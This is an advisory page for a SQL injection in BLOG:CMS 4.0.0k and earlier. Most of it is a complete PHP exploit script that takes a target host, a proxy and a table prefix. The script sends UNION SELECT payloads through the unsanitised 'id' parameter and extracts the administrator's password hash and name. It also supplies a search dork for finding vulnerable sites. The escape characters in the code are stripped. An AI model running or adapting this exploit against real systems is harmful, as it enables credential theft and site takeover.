BLOG:CMS <= 4.0.0k sql injection

2006-07-10 / 2006-07-11
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "BLOG:CMS <= 4.0.0k sql injection/admin credentials disclosure exploitn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]n"; echo "site: http://retrogod.altervista.orgn"; echo "dork: "Powered by BLOG:CMS"|"Powered by blogcms.com"|"2003-2004, Radek Huln"nn"; if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONSn"; echo "host: target server (ip/hostname)n"; echo "path: path to BLOG:CMSn"; echo "Options:n"; echo " -p[port]: specify a port other than 80n"; echo " -P[ip:port]: specify a proxyn"; echo " -T[prefix]: specify a table prefix (default: none)n"; echo "Example:n"; echo "php ".$argv[0]." localhost /blog/n"; die; } /* software site: http://blogcms.com/ i) vulnerable code in index.php, lines 19-36: ... // NP_SEO plugin redirect if (isset($_GET['id'])){ $query=sql_query("select url from ".sql_table("plug_seo")." where id='".undoMagic($_GET['id'])."'"); if ($row=sql_fetch_object($query)) { $row->url=stripslashes($row->url); $redirect=true; if (strpos($row->url,'|noseo|')!==false) { $arr=explode(",",'msnbot,googlebot,crawler,centrum'); foreach ($arr as $s) if (strstr($_SERVER["HTTP_USER_AGENT"],$s)) $redirect=false; $arr=explode(",",'downloader.seznam,inktomi,yahoo,altavista,fasttrack,ex cite,hotbot,alltheweb,yahoo'); $dns = strtolower(@gethostbyaddr($_SERVER["REMOTE_ADDR"])); foreach ($arr as $s) if (strstr($dns,$s)) $redirect=false; $row->url=str_replace('|noseo|','',$row->url); } if ($redirect) header('Location: '.unhtmlentities($row->url)); } unset($query); } ... "id" argument is not sanitized before to be used in a sql query... also you can inject sql statements regardless of magic_quotes_gpc settings, look at undoMagic() function in vars4.1.0.php: // removes magic quotes if that option is enabled function undoMagic($data) { return get_magic_quotes_gpc() ? stripslashes($data) : $data; } very nice code :) */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $prefix=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $sql="9999999'/**/UNION/**/SELECT/**/mpassword/**/FROM/**/".$prefix."nuc leus_member/**/WHERE/**/mnumber=1/*"; //id = 2, admin $sql=urlencode($sql); $packet ="GET ".$p."?id=$sql HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("Location: ",$html); $temp2=explode("n",$temp[1]); $temp2[0]=trim($temp2[0]); if (($temp2[0]<>"") and (!strstr($temp2[0],"http")) and (!strstr($temp2[0],"UNION"))) { if (strlen($temp2[0])==40) {$type="sha1";} if (strlen($temp2[0])==32) {$type="md5";} echo "exploit succeded...n"; echo "password (".$type.")-> ".$temp2[0]."n"; $sql="9999999'/**/UNION/**/SELECT/**/mrealname/**/FROM/**/".$prefix."nuc leus_member/**/WHERE mnumber=1/*"; $sql=urlencode($sql); $packet ="GET ".$p."?id=$sql HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("Location: ",$html); $temp2=explode("n",$temp[1]); echo "admin -> ".$temp2[0]."n"; } else { //debug echo $html."rn"; echo "exploit failed... see htmln"; } ?> original url: http://retrogod.altervista.org/blogcms_400k_sql.html


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